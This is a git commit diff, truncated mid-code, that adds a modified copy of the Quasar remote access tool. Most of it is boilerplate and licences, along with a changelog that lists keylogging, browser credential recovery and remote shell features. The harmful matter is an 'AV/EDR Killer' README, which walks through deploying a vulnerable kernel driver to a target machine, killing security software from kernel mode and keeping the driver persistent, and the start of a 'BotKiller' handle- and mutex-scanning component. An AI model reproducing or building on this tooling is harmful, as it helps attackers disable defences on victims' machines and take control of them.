commit eca95b8d1caa9897f3bf3f507ad3604aa8abd452 Author: i2p Date: Thu Aug 27 11:22:07 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..ad6187f Binary files /dev/null and b/.DS_Store differ diff --git a/Quasar-1.4.1/.DS_Store b/Quasar-1.4.1/.DS_Store new file mode 100644 index 0000000..299e33a Binary files /dev/null and b/Quasar-1.4.1/.DS_Store differ diff --git a/Quasar-1.4.1/.gitattributes b/Quasar-1.4.1/.gitattributes new file mode 100755 index 0000000..412eeda --- /dev/null +++ b/Quasar-1.4.1/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100755 index 0000000..8163cd2 --- /dev/null +++ b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Quasar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100755 index 0000000..e56dad8 --- /dev/null +++ b/Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/Quasar-1.4.1/.gitignore b/Quasar-1.4.1/.gitignore new file mode 100755 index 0000000..69ef28b --- /dev/null +++ b/Quasar-1.4.1/.gitignore @@ -0,0 +1,204 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt \ No newline at end of file diff --git a/Quasar-1.4.1/AVEDR_KILLER_README.txt b/Quasar-1.4.1/AVEDR_KILLER_README.txt new file mode 100755 index 0000000..f49e734 --- /dev/null +++ b/Quasar-1.4.1/AVEDR_KILLER_README.txt @@ -0,0 +1,74 @@ +AV/EDR KILLER FEATURE +===================== + +OVERVIEW: +--------- +The AV/EDR Killer feature allows you to disable antivirus and endpoint detection software +on target systems using a vulnerable kernel driver exploit. + +HOW IT WORKS: +------------- +1. A vulnerable signed kernel driver (vulndriver.sys) is deployed to the target +2. The driver is registered as a Windows kernel service +3. Killer.exe uses the driver to terminate AV/EDR processes from kernel mode +4. Optional: Make the driver persistent across reboots + +USAGE: +------ +1. Right-click on a connected client in Quasar +2. Navigate to: Monitoring > AV/EDR Killer +3. The AV/EDR Killer window will open with 4 options: + + a) CHECK DRIVER - Verifies if the vulnerable driver is installed and running + + b) INSTALL DRIVER - Deploys and registers the vulnerable driver + - Saves vulndriver.sys to a random temp directory + - Registers it as "QuasarDriver" kernel service + - Starts the driver service + - Requires administrator privileges on target + + c) KILL AV/EDR - Executes the AV/EDR termination process + - Deploys Killer.exe to random temp directory + - Uses the vulnerable driver to kill security processes + - Shows real-time output in the log window + - Automatically cleans up after execution + + d) MAKE PERSISTENT - Configures driver to auto-start on boot + - Modifies registry to enable automatic startup + - Driver will load on every system boot + +COMMAND OUTPUT WINDOW: +---------------------- +The black console-style window at the bottom shows real-time output from the target: +- Green text = Normal output +- Red text = Errors +- All operations are logged with timestamps + +IMPORTANT NOTES: +---------------- +- This feature requires ADMINISTRATOR privileges on the target system +- The driver installation may trigger UAC prompts on the target +- AV/EDR termination is a HIGH-RISK operation that will trigger alerts +- Use responsibly and only on systems you have authorization to access +- The driver and killer are automatically deployed from the Resources folder + +FILES INVOLVED: +--------------- +- vulndriver.sys: Vulnerable kernel driver (38 KB) +- Killer.exe: AV/EDR termination tool (205 KB) +- Both files are embedded in Quasar.exe and deployed on-demand + +TECHNICAL DETAILS: +------------------ +- Driver service name: QuasarDriver +- Deployment location: Random subdirectory in %TEMP% +- Driver type: Kernel mode driver +- Communication: Real-time output streaming via protobuf messages +- Cleanup: Automatic removal of Killer.exe after execution + +SECURITY CONSIDERATIONS: +------------------------ +- This is an offensive security tool - use ethically +- May be detected by advanced EDR solutions +- Driver signing may be flagged by some security software +- Always test in controlled environments first diff --git a/Quasar-1.4.1/CHANGELOG.md b/Quasar-1.4.1/CHANGELOG.md new file mode 100755 index 0000000..e0871f9 --- /dev/null +++ b/Quasar-1.4.1/CHANGELOG.md @@ -0,0 +1,104 @@ +# Quasar Changelog + +## Quasar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Quasar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Quasar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Quasar v1.2.0.0 [12.10.2015] +* Added Client restart on unhandled exceptions +* Added additional settings to Keylogger (set/hide log-directory) +* Added encrypted Keylogger logs +* Improved Client Builder +* Improved System Information +* Improved File Manager behaviour when loading directories with many files +* Improved Remote Shell (scrolls now correctly to the bottom when new text received) +* Improved compatibility with many connected clients (1k+) +* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES) +* Fixed Client not setting file attribute correctly on startup +* Fixed Remote Desktop lagging with mouse input and maximized window +* Some minor improvements + +## Quasar v1.1.0.0 [30.08.2015] +* **Changed Target Framework to .NET Framework 4.0 Client Profile** +* Added deletion of ZoneIdentifier file when installing +* Improved Client installation error handling +* Improved Client HardwareID generation +* Improved Client-Server handshake +* Support detection of multiple AVs, Firewalls, GPUs, CPUs +* Fixed Builder Profile not saving correctly Installation Subfolder +* Fixed Builder not validating input correctly +* Fixed Builder creating Client with empty list of hosts +* Fixed Settings Password not hashed when pressing 'Start listening' +* Fixed Reverse Proxy using always wrong port +* Fixed Server throwing NullReferenceException when closing and no Clients connected +* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days +* Fixed Client installation path empty on Windows XP 32-bit in some scenarios +* Fixed Client installation to system directory failing on 64-bit OS +* Fixed Client uninstallation not working when file is marked as read-only +* Fixed Client crashing after update on first start in some scenarios +* Fixed Client crashing when list of hosts is empty (Client exits now) +* Fixed Client not reconnecting when Server uses different password +* Fixed Client registry access +* Removed Statistics window, will be remade in a later version + +## Quasar v1.0.0.0 [22.08.2015] +* **xRAT is now Quasar** +* Added Password Recovery (Common Browsers and FTP Clients) +* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) + * Client Builder works also on Linux/Mono +* Added ability to upload batch files +* Added Client support for multiple hosts +* Added maximum simultaneous file downloads/uploads (current max: 2) +* Fixed Remote Shell redirecting of standard output not working after redirecting error output +* Fixed Remote Shell not displaying unicode characters correctly +* Fixed Remote Desktop crash when changing screen resolution +* Fixed File Manager would refresh directory when double-clicking files +* Improved support for Windows 8 and above +* Improved Remote Desktop (Speed, Full Mouse and Keyboard support) +* Improved File Manager (Show name of drive, current path, upload files) +* Improved UPnP support +* Improved Geo IP support +* Improved Builder UI +* Switched from Protobuff to NetSerializer +* Lots of under the hood changes for stability and performance diff --git a/Quasar-1.4.1/CONTRIBUTING.md b/Quasar-1.4.1/CONTRIBUTING.md new file mode 100755 index 0000000..5ccd286 --- /dev/null +++ b/Quasar-1.4.1/CONTRIBUTING.md @@ -0,0 +1,19 @@ +# Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new pull request (PR) + +## Guidelines for pull requests: + +1. Respect the coding style of Quasar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. + +In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/Quasar-1.4.1/Images/remote-desktop.png b/Quasar-1.4.1/Images/remote-desktop.png new file mode 100755 index 0000000..e8bb4dc Binary files /dev/null and b/Quasar-1.4.1/Images/remote-desktop.png differ diff --git a/Quasar-1.4.1/Images/remote-files.png b/Quasar-1.4.1/Images/remote-files.png new file mode 100755 index 0000000..ec9fea1 Binary files /dev/null and b/Quasar-1.4.1/Images/remote-files.png differ diff --git a/Quasar-1.4.1/Images/remote-shell.png b/Quasar-1.4.1/Images/remote-shell.png new file mode 100755 index 0000000..16dd99f Binary files /dev/null and b/Quasar-1.4.1/Images/remote-shell.png differ diff --git a/Quasar-1.4.1/LICENSE b/Quasar-1.4.1/LICENSE new file mode 100755 index 0000000..77a1c0b --- /dev/null +++ b/Quasar-1.4.1/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 MaxXor + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Quasar-1.4.1/LICENSE_SYSTEM_README.txt b/Quasar-1.4.1/LICENSE_SYSTEM_README.txt new file mode 100755 index 0000000..e19570e --- /dev/null +++ b/Quasar-1.4.1/LICENSE_SYSTEM_README.txt @@ -0,0 +1,43 @@ +QUASAR LICENSE SYSTEM +===================== + +HOW IT WORKS: +------------- + +1. When you run Quasar.exe for the first time, it will show a License Activation window +2. The window displays a unique Hardware ID (PC Name + Random String) +3. You need to enter a BIN code to activate Quasar + +GENERATING BIN CODES: +--------------------- + +1. Run Keygen.exe (located in bin\Release\net452\Keygen.exe) +2. Copy the Hardware ID from Quasar's license window +3. Paste it into the Keygen's "Hardware ID" field +4. Click "Generate BIN" button +5. Copy the generated BIN code +6. Paste it into Quasar's "BIN Code" field +7. Click "Activate" or press Enter + +IMPORTANT NOTES: +---------------- + +- Each Hardware ID generates a unique BIN code +- The BIN code is validated using HMAC-SHA256 encryption +- Once activated, the license is saved to "license.dat" file +- If the license file is deleted, you'll need to activate again +- The same Hardware ID will always generate the same BIN code +- Wrong BIN codes will show an error message + +FILES: +------ + +- Quasar.exe: Main server application (requires license) +- Keygen.exe: License key generator +- license.dat: Stores the activated license (auto-generated) + +SECURITY: +--------- + +The license system uses a secret key embedded in both applications. +Do not share the Keygen.exe with unauthorized users. diff --git a/Quasar-1.4.1/Licenses/Be.HexEditor_license.txt b/Quasar-1.4.1/Licenses/Be.HexEditor_license.txt new file mode 100755 index 0000000..2f8576c --- /dev/null +++ b/Quasar-1.4.1/Licenses/Be.HexEditor_license.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/BouncyCastle_license.html b/Quasar-1.4.1/Licenses/BouncyCastle_license.html new file mode 100755 index 0000000..829aa6b --- /dev/null +++ b/Quasar-1.4.1/Licenses/BouncyCastle_license.html @@ -0,0 +1,39 @@ + + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+ + diff --git a/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt b/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt new file mode 100755 index 0000000..78d9757 --- /dev/null +++ b/Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt b/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt new file mode 100755 index 0000000..afd0ae6 --- /dev/null +++ b/Quasar-1.4.1/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/Open.Nat_license.txt b/Quasar-1.4.1/Licenses/Open.Nat_license.txt new file mode 100755 index 0000000..cb71efb --- /dev/null +++ b/Quasar-1.4.1/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/ResourceLib_license.txt b/Quasar-1.4.1/Licenses/ResourceLib_license.txt new file mode 100755 index 0000000..cd812d8 --- /dev/null +++ b/Quasar-1.4.1/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Quasar-1.4.1/Licenses/SilkIcons_license.txt b/Quasar-1.4.1/Licenses/SilkIcons_license.txt new file mode 100755 index 0000000..e1c6e8d --- /dev/null +++ b/Quasar-1.4.1/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Quasar-1.4.1/Licenses/protobuf-net_license.txt b/Quasar-1.4.1/Licenses/protobuf-net_license.txt new file mode 100755 index 0000000..692cf3b --- /dev/null +++ b/Quasar-1.4.1/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs b/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs new file mode 100755 index 0000000..f19446a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs @@ -0,0 +1,216 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace Quasar.Client.BotKiller +{ + public class MutexScanner + { + private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query + + public static List GetProcessMutexes(Process process) + { + List mutexList = new List(); + int nHandleInfoSize = 0x10000; + IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize); + int nLength = 0; + + try + { + while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH) + { + nHandleInfoSize = nLength; + Marshal.FreeHGlobal(ipHandlePointer); + ipHandlePointer = Marshal.AllocHGlobal(nLength); + } + + long lHandleCount; + IntPtr ipHandle; + + if (Is64Bits()) + { + lHandleCount = Marshal.ReadInt64(ipHandlePointer); + ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8); + } + else + { + lHandleCount = Marshal.ReadInt32(ipHandlePointer); + ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4); + } + + int processHandleCount = 0; + for (long i = 0; i < lHandleCount; i++) + { + try + { + Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION(); + + if (Is64Bits()) + { + shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); + ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8); + } + else + { + ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION))); + shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION)); + } + + if (shHandle.ProcessID != process.Id) + continue; + + processHandleCount++; + + // Limit handles per process to prevent hanging + if (processHandleCount > 500) + break; + + string mutexName = GetMutexNameWithTimeout(shHandle, process); + if (!string.IsNullOrEmpty(mutexName)) + { + // Filter out Windows system mutexes + if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_")) + continue; + + mutexList.Add(mutexName); + } + } + catch { } + } + } + catch { } + finally + { + Marshal.FreeHGlobal(ipHandlePointer); + } + + return mutexList; + } + + private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) + { + string result = null; + var task = Task.Run(() => + { + try + { + result = GetMutexName(shHandle, process); + } + catch { } + }); + + if (!task.Wait(QUERY_TIMEOUT_MS)) + { + // Timeout - skip this handle + return null; + } + + return result; + } + + private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process) + { + IntPtr 